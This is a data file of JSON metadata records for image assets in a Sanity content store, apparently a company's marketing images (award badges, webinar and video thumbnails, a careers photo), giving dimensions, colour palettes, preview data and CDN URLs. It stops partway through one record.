{"_createdAt":"2023-11-01T13:19:12Z","_id":"image-ed4c61211d527370fda838355c2e0ff16e82f261-216x320-png","_rev":"yGYi2HTu7doJg1fO7gaPkj","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T13:19:12Z","assetId":"ed4c61211d527370fda838355c2e0ff16e82f261","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dHS6Pmxuj=%L~qj[?bofM{fQ4nWB_3of-;j[00ayIUaf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.675,"height":320,"width":216},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAACXBIWXMAAAsTAAALEwEAmpwYAAADzElEQVRIiZWWPW8rRRSGgxBCUEAHFQ0FokfwC6CkR1TUdIiWGgokJHoKCn4CNMAN4d6by83HJc53YseJE3/EXmdjr7/Xu/s+6Iy99saOri4jHc3s7Mwz7zlzdmZXJG0DAZOiqb1QkZQd3wdOVyS1BdHknRvjxr2guTIFxgZdWVgx+2Qdk74FzXfHkSp1xYCTZTIKE4lkxllWlkIXJwJaAEpRLIJ+QtAeMup26PU6tIM23XaLoB3Q6XTp9XoMBgOiOOY+YGZlEUai5kdUS03aV0XK5UvOiyUaF+dUr8pcliuUyxUaXpPRaJRVO3P5DjBOoDNICPwufd+jeePTaNzS9X2CVgv/1uzWKY2i6H7gPND2YjogEUmSEMUJcZy4tpJJPbGleHJHoYNl2v8jF8mW56QNTsl4PHYbYGbt5+w498Rw0nbuTet+v8/Nje/MoPfkIEsKs0BTYZMbnkfQ6dBuBzQanjNrG3Q4HLodThdWVuFiR6fbZf/gkPV/nrK5tU1ud4+9/X12cruubba7t8/l5ZUDaxG4KLvX65MvnLGxtc3qX2s8Xn/iYAa3tvU9fPSYs2LxTh6mtVNoxeSHYUir1aZWqzkFR8cn5AsFqtUa5UqFs7MiB4eH5PMFPM9z8Q3DkHjyxTjODGixuSiV+Hcnx97+AUfHx2xtP3PKTOFpvsBpPs/G5hZPNzbZyeWc+xelkgMvxbDT6cxid3B4xPHJqZv88NE6q2t/k9vd5ax47vr+fLDKHw9WnfvHJ6cOmJ5MM4Umvdlscl2vEwQBQdDBazap1xtUqlW38xbfG9+nUqm4kFyVy7RaLefyUgzTvEvNvlNLofF4XkdRPOmPInfSpGmTFgdMj69ZL7jdMyWe13T5aHWa3M3mjTschsPR/V+K0oNwfmC6/DJQxe1ulWrtmnrDo3Zdd8/X9UZ2I5Q9nLMH7Kw3SRJZTE2pWRiOGE+f0y8ljuOl05rpAZukD5kXM0/GMYzGEwsj3NWQuR2VhTmXgYLdVgu3nivDUKreJio2YszKfqLeaH5dZMMFhJKuDfgN8DvgSTI/Zi4MQunKTzipxTIrNRO6w7sgSeZhG3gC/GDAd4BPgR+BZ5KCNKRxIgc1iJm1o3noDDYAToCfgc+B9wxo9hrwPvAF8AuQnw6epdjCX8VYUhX4VdJXwAfAG8ZKgWYvAW9KfCTpa+A3SRVJNjnNtUTSrSRz7ztJHwNvSXo55VgeOsuA7eXbgk+AbyWtS/IldSUdSfpJ4jPgXYlXM/PmwGxHZoFXbBLwpaQ1YA/4HvgQeD0duwj8D2vr5gQ0tqcEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c44","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c3c2c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#93bdf0","foreground":"#000","population":0.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9dabbf","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93bdf0","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a75a57","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e72c4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GC_2023_PartneroftheYear_Breakthrough_EMEA.png","path":"images/sczeoy4w/production/ed4c61211d527370fda838355c2e0ff16e82f261-216x320.png","sha1hash":"ed4c61211d527370fda838355c2e0ff16e82f261","size":25959,"uploadId":"dbzhjjMGIaJPSbTV1h7eX3ZKFTl8cagg","url":"https://cdn.sanity.io/images/sczeoy4w/production/ed4c61211d527370fda838355c2e0ff16e82f261-216x320.png"} {"_createdAt":"2023-11-01T13:20:46Z","_id":"image-4fc33b2749de45cac4fbc03eb75ff6a3102d6c57-57x84-png","_rev":"yGYi2HTu7doJg1fO7gaVU5","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T13:20:46Z","assetId":"4fc33b2749de45cac4fbc03eb75ff6a3102d6c57","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFSPX_xvaw%M~qof?bofM|WB4nWB_3of-;j[00WBIUay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6785714285714286,"height":84,"width":57},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAdCAYAAACqhkzFAAAACXBIWXMAAAsTAAALEwEAmpwYAAADlUlEQVRIiZ2Vu28rVRDGgxAICQmJBlEiJDo6Kmoo+AOgpETUVPQUSPwF1Le8HQUUFHSIBuLEvle6juPEdmLH3uzDz/ixj++H5uwex3YCgjvSaM/OnPnONzNnZ4+ACEglTFQJ/1GduEhIDevIgYEzlu7/B0gZ5tepAW6p8RKiMmwbe7TLytyFpDQTaVpQ5Dl5npNlGVmWkqWpW5vN9JChiTF0C+8zsPE0ZxzOWcYRkzghCiKmYUgSx0RxTJIkzGZzB85+yg5wWxNjnuUlYDKasgiG3N7cMrwOmAQBcRgSBLdOJ5OJB+Q+HipAX4vSkVnK65RsvWK1XLO8W5OuN6SbDev12mmaphRF8TjgTnFftilbOUj5fu3VWPgm2PrQ/48MvWNXDGC1WjGbzZjP52w2m0cz0Y7tAUMD2aSpq5EV/e7ujjhJSMZjB/5vLP093HNYUH8woNvtMhqNCIKAwWDAYHDjuhuGEVEUO9Z2oA7iHzBcLBa0Wi1qJyccH9eo1xs8e/6cRuMZ9UbD2RuNBv1+35XAZJelY+jF1svl0jHrdns0m03a7TZXV9d0Ol3O221evGhycXFBHCePM1T1Ys7pdMrNcOhSthQvOx16vSuX9m0Yct3vlwdcXxOGIXEcM53OXL09zjZlS/X8vM3JySnN5hmt83NOTk85rtVcqsbKtFar8dfxMaf1utNOp+OyegBoRkvt4vKSURA4VtYYA7GDrDFRFNHr9Tg7OysPbbXcXmP4oIbuulSfVjldMvfubRZkl9uedhOMgD2zqo6PNsWLbVpWQV4teLVau6cdkOfld+xl99psx5d/GoDdN+v2cDRyaVlTrBGjUeB8Br4bQ4WzO2D9sFSaprImWQet8+Wnt3AzcDyeuHfbcxiLn4ce6HD6Wl1LtSFRDYrStk9LW0CX8tx6cu8sTzK1Kb9YSpN5wWRRsFhJWX7v39lLhbEwwJ+AjqTtPPey3ohRnKs7zNUb5rL1cu3H/X22knLgCvjFAD8BvpP0u/1XLVMPnGbSdFEomhREk8KtzbaTbgFMgD+BH4DPDPB14D3gC+BHSXUrgz/dypVX6ktX4S0lnQFPgC+BD4A3rMsGavom8CHwlaSnwIVNM1edfbHPoi/pZ+Ab4CNJb0l6xXA8mAM2o6S3gY8lfSvpV0k3kjZWY0mxpD8kfQ98Kukd4FUfvwe4q7JN4l2JzyWeSgwlJRK/SXwNvA+8Vl27Pf0b89qpwk1FSyUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68631b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#858585","foreground":"#fff","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccde","foreground":"#000","population":0.06,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faf9ec","foreground":"#000","population":0.25,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#858585","foreground":"#fff","population":0.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9bf35","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GC_2023_PartneroftheYear_Breakthrough_EMEA.png","path":"images/sczeoy4w/production/4fc33b2749de45cac4fbc03eb75ff6a3102d6c57-57x84.png","sha1hash":"4fc33b2749de45cac4fbc03eb75ff6a3102d6c57","size":4488,"uploadId":"9K9ucU8eehjELjSrxjYduSjPEpNEbXO8","url":"https://cdn.sanity.io/images/sczeoy4w/production/4fc33b2749de45cac4fbc03eb75ff6a3102d6c57-57x84.png"} {"_createdAt":"2023-10-19T06:17:58Z","_id":"image-7bd7811441dfbc26deedce79e99298434d1133c6-1600x1067-png","_rev":"97ScSe1K9UIWVy4zLcvvkr","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:17:58Z","assetId":"7bd7811441dfbc26deedce79e99298434d1133c6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VRMaLw~q4:0KtS?at7t5-:Ri$_ITR.xuxZ%hD%-:R-NG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.499531396438613,"height":1067,"width":1600},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADnElEQVQ4jR2Q+U9TBwCA338xXOIyt7grKoJMyOYiYTqiw6nTTY1gFLWb1DkxqIgGiEyYQwmZBx47iAM6om6VQw65KiAtlPbRlvb19b2+Xta5CR2HImLyLeOH7+fvyydIkhWv14osW/HJQyi+IRTZjNfTh+TuxydZUOQhVHkYTREJBUYJh7xEwj4eRlTCYT+aJiNJLhwOG4LXa8PrHUbx2fGrIn6/iF+1o8hWFHkYvyLOo8p2VFnEOWLhfk8bjQ23qKutpqrqAme/P8OJ/GN8czAHwWruxNzdiFvsx6860TQPoaAyb45EAkQiGgHNg6Y4kdw2DHXV6HN0bN6UwZqPU0lZmUT80iW8/dZi3nxjEUJni5GW2p+wmVrxeR0oqkw0+pgnYxOMxyZ5MjZOJBxAU92INjNlpSWkJCfxzuJFpCS8S2ryMt5f/h6vv7aQuFfiELpMg3TcvYfNYpn/oKg+/v4nxtT0LNNPXzA59YxoNIrTNkjzH/Xk5R4iKTGBtOR4Tu3bzOUiHcf1O1iZuIy4uAUIndYI/WIYh0fDPTqK4pPny2aev2Tm+RzjsSkkSaGruZnrFeVk79pNQnwC2z/5iJulhxgwlHPj4ndsWL+OVxcsRLhridAnPsQ+IiMOWfF5PExMTPNiDmZnXxIOR2m/Z6L6t9ucu1jDV0fLSN+wjewvPudq4WGaf62kvclI+blKPs3YjPDL7X7qm8x0dpsxPxhAcruJ/ft/4RxPn82iBYLcbmyn5FojuVdMHLnaTdGPdZw6Wcyh/TqK8k9yx9jCoNVBU3Mbwr7Dp9HlneV8VS1dpj6cLheqphEIhgiFwngkiTstXfzwczMF100U1wxyydBBYeEZtmzaRtbO/VRWXkd0KMQmniGs2ZjFyvRM9uaepqWjB0kaxeUcQbQP43LYcYlD9PZ00PBnA78bjFy4UkNxcRm7dmSStjqdDRlfUlBQSnevSGxqDmHLrgN8uH4ne/T5tLe3ElKdhBUnYXWUqObhkd9F0GPBO9hJr7GG84XH2b7pM1Ylf0Di8hRSV69Drz/BLaMJOTiBkH3wKBt36Mj59hiNd24iO3oJSQM89tsYj7iYeCQx+ZdELOLEO9TJjaoK9Pv3sjZtLUuXJJKSnEpmVg4VFwy03vchZOvz2JKpY1/OEWoN9VgedDFibsVnb+Whu4uxoJWnYyozk1HCmoeOtiauVV3igO5rViQmk7RiFVu37qGw5DJ1DTb+AwV+BgvphWKVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262f42","foreground":"#fff","population":1.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e0408","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#262f42","foreground":"#fff","population":1.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b8ae","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3cbac","foreground":"#000","population":1.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1765b","foreground":"#fff","population":0.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e7bae","foreground":"#fff","population":0.73,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3F1CE31CAFEE3ABA1B30.png","path":"images/sczeoy4w/production/7bd7811441dfbc26deedce79e99298434d1133c6-1600x1067.png","sha1hash":"7bd7811441dfbc26deedce79e99298434d1133c6","size":2137792,"uploadId":"VaY1zVYUlodGHugktvjtNR5Pj7RuvDKi","url":"https://cdn.sanity.io/images/sczeoy4w/production/7bd7811441dfbc26deedce79e99298434d1133c6-1600x1067.png"} {"_createdAt":"2023-10-19T06:20:48Z","_id":"image-6485157908e9f9324d1ae32eabdb802a9eef45e0-829x553-jpg","_rev":"97ScSe1K9UIWVy4zLcvzXr","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T06:20:48Z","assetId":"6485157908e9f9324d1ae32eabdb802a9eef45e0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VeLN}hxvxtxuo$~qayRk%Me.MwM|R-%MxsWBM{xua}bI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4990958408679929,"height":553,"width":829},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQb/xAAhEAABBAIDAAMBAAAAAAAAAAABAgMEBQARBhIhExUjMf/EABUBAQEAAAAAAAAAAAAAAAAAAAID/8QAGREAAwEBAQAAAAAAAAAAAAAAAAERAhOB/9oADAMBAAIRAxEAPwBz8gr6q8SyqS2vvHGjo6ChkVrl1TF+OvitOhxCSQSPNDFpYX1k5ZOpakqaa7dQhI3oZRckkSK7kEOM28VBxsuFR8J8/mXmY74BVNDalKvXnS6hhHRY7J/TXmGZqilWs2sae+zcRvwJ6A6wyPTKFyZ//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c44","foreground":"#fff","population":6.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c5f92","foreground":"#fff","population":0.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c44","foreground":"#fff","population":6.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c5b1","foreground":"#000","population":0.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82acdf","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717481","foreground":"#fff","population":4.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c83c6","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"netfonds_karriere_einblick-in-den-alltag_arbeitsplatz.jpg","path":"images/sczeoy4w/production/6485157908e9f9324d1ae32eabdb802a9eef45e0-829x553.jpg","sha1hash":"6485157908e9f9324d1ae32eabdb802a9eef45e0","size":113058,"uploadId":"MaTzzUc93nzurNciIUz2Tyiba3bdgT9G","url":"https://cdn.sanity.io/images/sczeoy4w/production/6485157908e9f9324d1ae32eabdb802a9eef45e0-829x553.jpg"} {"_createdAt":"2023-10-25T05:42:57Z","_id":"image-ef2d65e87ade2a11117c0f6271ef2930621f1388-1200x628-png","_rev":"tLcgKZL18qfyYELSygmK4S","_type":"sanity.imageAsset","_updatedAt":"2023-10-25T05:42:57Z","assetId":"ef2d65e87ade2a11117c0f6271ef2930621f1388","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TEEv*Q+t%LD,}tkoNtjcv#zpaNKie.$z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVUlEQVQokUWS20/TBxhAa8LFTZgSKAVj8MY6AtYKguWioFHjNjcf3Fhw0yihXMR6IzEjgWKoBUoR5TpxxpjFxH9jj77uaX/BEp+W7MEt2bKes/xSMx++fG8n5zv5QvSXyrWwjDXIcK1cq5DBHZKskNFKuV6p4xWSqpTblXK3QqYikm+R1XZ5dEiWosW91maIgQ8lFZXp4zLdLd/H5V6zTB6S6bikY5Jultm4ZFtl7rAsJ+TZ5/LigqwnJHdAFvdLvtEQl3bIRFwWvpDFL2X+nDw4KZkemeuVhV7JnZDl07JyRtbOyNPz8nJAXn0nP56VpSaZ2y2zNYHhdrnZJOlemTku93tkplOmjki6VTPHdL5Lct2y2CVLXbLWVzT86aI8/0xWjxYNH0QMvW+4V8b3Smqf3GqQVJ3cCPvvRIN/pVt9m0n4z0yz3D8oC0GvLtk6JVt9snFMHsckfzAAlsiVKhneLWN7ZDyYehmt0uQHvr0e9tfJPn/JXPT3TKfMRiUfl80TsnVSNhKy3iHr7bLcbKjwdYlc3ilDERkJQBEZC4yrdfQj/xit9nWq3Z8nP/VNAMw2yVJcfuiVp6eKsNW2/8GhQn+phavVFpL1kqyVoSoZqZYbEU2F/TtV45uJRn+bafXPbItkGyX3SfFlNjvlUUyWW2SjQ570GCp8U2ZhsNbCyB5JRt4DU/Vys05uh2Vqn4V8TB7GZP5jyUVlJbDqKP5f0G8z8Q741TYDKAPlcqlMvg2alspguQyVy3CZ3Nklc9EiMHtAFqKy9s5w/Wjx7CfdstXjf8duDGRfswLxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38292d","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd2909","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954803","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9539","foreground":"#000","population":13.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6704f","foreground":"#fff","population":0.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ANZ GCP OpenSearch Webinar Nov 2023.png","path":"images/sczeoy4w/production/ef2d65e87ade2a11117c0f6271ef2930621f1388-1200x628.png","sha1hash":"ef2d65e87ade2a11117c0f6271ef2930621f1388","size":238533,"uploadId":"tG9fSdY0BwSk8K2MOqw9hy6AaF34M97a","url":"https://cdn.sanity.io/images/sczeoy4w/production/ef2d65e87ade2a11117c0f6271ef2930621f1388-1200x628.png"} {"_createdAt":"2023-10-25T06:53:32Z","_id":"image-0a16d2087d4a220ba042288323a4a594eb18cc58-1920x1080-png","_rev":"1Lf0lTITu85vuB356QbG56","_type":"sanity.imageAsset","_updatedAt":"2023-10-25T06:53:32Z","assetId":"0a16d2087d4a220ba042288323a4a594eb18cc58","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6979$1,^DRO4[pM%0R$R:Nd01v{Ngxb-S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACz0lEQVQokTXO21IaBwCAYZ4g04CisLDAIgvElJOBqBxckJOcFxYFBUUkBBxjTDzFmWrMaDSB9ioz7YNkpq/3d1qnl//NN7/OIGxik3eRf32DJzBG9h0iyiPmHW8x2sbM2o4wOk6Yl84xLVwhyDdY3LeI8gluuUJ4cQW/N4noaGG0H6Gbt7fxRw6Jps6Ipi5YUS6JJD7hi1xg87zH5HyP4DpFkC8xu64wy9eI7k94PG3Wl2L0M1HaSoLQYgWTY4hOkHZYTX6k3LilqH6hoN5RajyyXrjnVeyawMo14cQdoeg9C77PWNw3ONxHRANZjqsp/ny3yddejfxyEdHZfwIT6XO07a/UWw802t+pt6eUtQn52oSN2h9UN39QqP8gvDbB6btFkvukl+JMDlT+np7z11mfWiKP7N5DJzh3iCY/UtG+UNHuqTYfqTS/U2pMyJS/oeQfSRWmJDemhBMPuPzX2J1d4i9f861f5+fvlzyMtii8XiXwUkNndrQJrx6Szp+T2bgiW/yNXOkzyewN/sgFzsVTHC/OsL84RXR/wOZ6h1vaYs27zImaY3q8x6isUAyGWA8U0c0KGrKnjc/Xxe/vEQi+IbQ0JhAcI3tHmKUxs+IIg3XInDjA69oj5a1Q88VoKUk6xTxabJWdcIzD5Ro6/ZyKYFGx2ZvYpDaio4Mo7WJ39rE5h5gcI2asQwyWAyyOHsv+bbbCFXYjGdREnnKqQHUty360wF28ic4wV8NpreOROywsDhCcfWasPWatA4y20dOd5QCD0MMubbPmr9KNFBjEKzTTKtVcnVpWpaOoXClbT6DdUkd2dZC8A0xSH4NlH4NlwIz4791b9MI+BmEXSdKIeVLUgmm6ioaW0ShlVMq5Bq18i+NMB90zo8ovxjrP55s8N7fRmzvohR4G6//g8L/WC13sUpOQWyEezFJc71DKbJJViuTSVdrlLh9KA/4BaL6LuEfcy/wAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2e51","foreground":"#fff","population":1.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":7.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cdc3c7","foreground":"#000","population":8.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc3c7","foreground":"#000","population":8.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de9ba8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e664e","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ad3950","foreground":"#fff","population":1.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169).png","path":"images/sczeoy4w/production/0a16d2087d4a220ba042288323a4a594eb18cc58-1920x1080.png","sha1hash":"0a16d2087d4a220ba042288323a4a594eb18cc58","size":1283205,"uploadId":"TTwCnwav3yb8YZvxvmqWQ8MWFLEi9267","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a16d2087d4a220ba042288323a4a594eb18cc58-1920x1080.png"} {"_createdAt":"2023-10-25T06:52:44Z","_id":"image-45fdb00ee10f9bd45bf582b398ac98643e62f115-6000x3375-png","_rev":"dWOXoeBNhMRLotF8JXHmdL","_type":"sanity.imageAsset","_updatedAt":"2023-10-25T06:52:44Z","assetId":"45fdb00ee10f9bd45bf582b398ac98643e62f115","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M79Gtb6C^ERO9etp%1R$RoNd0LwGNft7$~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAAC00lEQVQokS3O21IaBwCAYZ6g04CHyMKy7MoCajglmAByWIpk5bwLCKioHDzQGqcRY0hSjRkTjYe7zHTyHr3o4/2dpr38b775LTZhHZe6jfpkD19ohC90hDd4jDd0gicwZv7JGfLSBIf6lrn5dwjqBQ7vJaL6O161QnQpTsivIbrbzEhHWB5LHYLREXFtTFw7I65NSGQ/EE1+QA2eIvnHSAtvcfom2D3vsasXiN4JPl+H3LMVBvkEG1qayGKFOfcBFru8STxzQsm8pGB8omBcUarfkCt+5lnynFDsnGjqikjiM/OBjzi8F7i9R6yEXnJczfLnqxZfegZ6rIio9LEI8iap3Cn1zheM1jVm+xazfU+5cYdevUWvPVBZ/0bB/EY0fYcSuERR+6w+TXI3NPn74YzvbwbUUjqqbweLoGwS104oNz5RaVxRaV5Tad5Sqt+xWv5KRr8hW7gns3ZPNHWNJ3iOpHRJLT3n66DOXw8TbkYtCi8ShJcaWOzuDtHYr+T0N6yuvSNf+IN88SOZ/AXB5TOUxTHuhVOkhTGi9zUuzyt8cpu0P8ZrU+f+eIfDskYpEiEXLmKZFhqovg6BQJdgsEcovEfk6YhQeITqH2GXR0yLI2zOA2bFIX7PDll/FSOQpJPR6BbXaCQTbC6v8NuLGhbrrIHgMHBJTVxyB9G9hSjvICl9RGWfOfchU+I+NscAh3uXWHCDdrTK9vM8Rkqn/EuBWvol/USBq9Q6FttsDcVp4le38CwOEZQ+U84e084hM65DpsVDbI4hNscukrxBOlilu1xkmKyynjOp6XVqeZOuZvBea/0HSg4T1bOF7B8yJw+wOXo/kCnx37sDrEIPm7CNIjdZ8Wcxwjm6mSaN1QalVYOK3qCjdzjOd7H8NGPw84zJo8dNHtk7WO1drMIuNuf/oHP/R1uFLpLSJOLTSEbylHJdyvkWea2EnquxUdnmpLzHP06RjS8V/Gi5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2e52","foreground":"#fff","population":1.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":7.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cec9d3","foreground":"#000","population":7.38,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cec9d3","foreground":"#000","population":7.38,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de9ba8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e664e","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ae3950","foreground":"#fff","population":1.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Copy of WIP Devrel Video thumbnail template (1290x1080 169) (1).png","path":"images/sczeoy4w/production/45fdb00ee10f9bd45bf582b398ac98643e62f115-6000x3375.png","sha1hash":"45fdb00ee10f9bd45bf582b398ac98643e62f115","size":6488921,"uploadId":"BkTS7bE1C3sTG11ZLU9gsHmm8RI6bh5v","url":"https://cdn.sanity.io/images/sczeoy4w/production/45fdb00ee10f9bd45bf582b398ac98643e62f115-6000x3375.png"} {"_createdAt":"2023-10-25T08:04:49Z","_id":"image-be92145845d99cde36f3c197c6f183acd88ac57c-6000x3375-png","_rev":"tLcgKZL18qfyYELSygwaQ3","_type":"sanity.imageAsset","_updatedAt":"2023-10-25T08:04:49Z","assetId":"be92145845d99cde36f3c197c6f183acd88ac57c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA8zTbAd-2NFER-tTCnNNfjrE4xYRjogxW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACx0lEQVQokS3M21IaBwCAYZ6gI6KCCwssu8KyssvZLHIGOYQ2EA5mIGBBQSSjiTEmtalVa+O0aWvay/Syb/p3kvHyu/ksNucuorKHvDnFrx/hN47xGy8JRM4Ixn4gGHtPIHqJL3SJR7tCVG9wqbc4/dd45HOS0pycNEH1TLF7X2KxewboiQXbxXPM/FtShQty1WsKtV/J1+7IVn8js/M7+do92erfGOZHPNoHPP5r0vKCN3KLj/4Gz6U+Xs8LLIJvSCp/xpPuL9SbN9Sbt3T6f9Huf6LW/IN0+Y6t/B2Zyp9kKp++hm7tDiXwM11tzH2kwH/GNhcbLQxpgcXhGRA1j8lXL8iUL8hWLil/e0vx8QcS2Stk/R1i4B0e7T3ezSu82g2KfouZ/In98oz73TafOy1emyMM5RSLTeghKQNUbYSqjQmGZoTCC0LhY9TQCd6NE